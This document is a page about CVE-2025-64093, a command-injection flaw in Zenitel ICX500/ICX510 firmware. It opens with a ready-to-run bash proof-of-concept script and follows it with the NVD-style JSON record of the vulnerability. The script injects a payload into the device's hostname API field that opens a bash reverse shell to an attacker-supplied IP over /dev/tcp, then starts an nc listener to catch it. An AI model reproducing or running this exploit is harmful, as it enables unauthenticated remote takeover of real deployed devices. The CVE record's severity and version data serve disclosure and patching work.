CVE-2025-64093

#!/bin/bash # CVE-2025-64093 PoC - Zenitel Device Hostname Command Injection # Usage: ./poc.sh <target_ip> <attacker_ip> TARGET=$1 ATTACKER_IP=$2 if [ -z "$TARGET" ] || [ -z "$ATTACKER_IP" ]; then echo "Usage: $0 <target_ip> <attacker_ip>" exit 1 fi # Generate reverse shell payload PAYLOAD="'; bash -i >& /dev/tcp/${ATTACKER_IP}/4444 0>&1 #" # Send malicious hostname request (authentication may be required) echo "[*] Sending malicious hostname payload to target..." curl -k -X POST "https://${TARGET}/api/system/hostname" \ -H "Content-Type: application/json" \ -d "{\"hostname\": \"${PAYLOAD}\"}" 2>/dev/null # Alternative: Direct command injection via web interface echo "[*] Alternative: Try web interface with payload: ${PAYLOAD}" # Start listener for reverse shell echo "[*] Starting listener on port 4444..." nc -lvnp 4444 echo "[!] If successful, you should receive a reverse shell"

{"cve": {"id": "CVE-2025-64093", "sourceIdentifier": "[email protected]", "published": "2026-01-09T10:15:46.890", "lastModified": "2026-02-10T20:33:36.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Remote Code Execution vulnerability that allows unauthenticated attackers to inject arbitrary commands into the hostname of the device."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código que permite a atacantes no autenticados inyectar comandos arbitrarios en el nombre de host del dispositivo."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:zenitel:icx500_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.3.3", "matchCriteriaId": "7231E5A4-4E37-4656-BE94-BD273A55208C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:zenitel:icx500:-:*:*:*:*:*:*:*", "matchCriteriaId": "2906B9C4-505C-42DB-B9A4-0A396DB8CB23"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:zenitel:icx510_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.3.3", "matchCriteriaId": "E7CA6690-91B0-4327-BBE2-74E3E77B885D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:zenitel:icx510:-:*:*:*:*:*:*:*", "matchCriteriaId": "62D2FE35-E62D-45B6-B4DC-DA31C8B96D89"}]}]}], "references": [{"url": "https://www.zenitel.com/sites/default/files/2025-12/A100K12333%20Zenitel%20Security%20Advisory.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}